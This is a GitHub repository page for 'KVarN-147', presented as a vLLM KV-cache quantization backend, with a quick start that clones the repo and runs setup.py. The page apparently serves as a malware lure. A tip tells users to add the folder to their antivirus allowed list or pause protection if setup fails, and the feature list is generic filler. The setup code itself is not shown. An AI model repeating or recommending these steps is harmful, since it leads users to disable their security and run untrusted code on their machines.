Skip to content

BoatwrightLevel/KVarN-147

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

39 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

KVarN-147

KVarN is a native vLLM KV-cache quantization backend for your agents: 3-5x more context, throughput above FP16, and FP16-level accuracy. Calibration-free, one flag.

Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.


QUICK START

git clone https://github.com/BoatwrightLevel/KVarN-147.git
cd KVarN-147
python setup.py

Features

  • Fast and reliable performance
  • Easy to use API
  • Cross-platform support
  • Comprehensive documentation
  • Active community

Contributing

See CONTRIBUTING.md for contribution guidelines.

Security

See SECURITY.md for security policy.

Changelog

See CHANGELOG.md for version history.

License

MIT License - see LICENSE for details.

About

KVarN is a native vLLM KV-cache quantization backend for your agents: 3-5x more context, throughput above FP16, and FP16-level accuracy. Calibration-free, one flag.

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors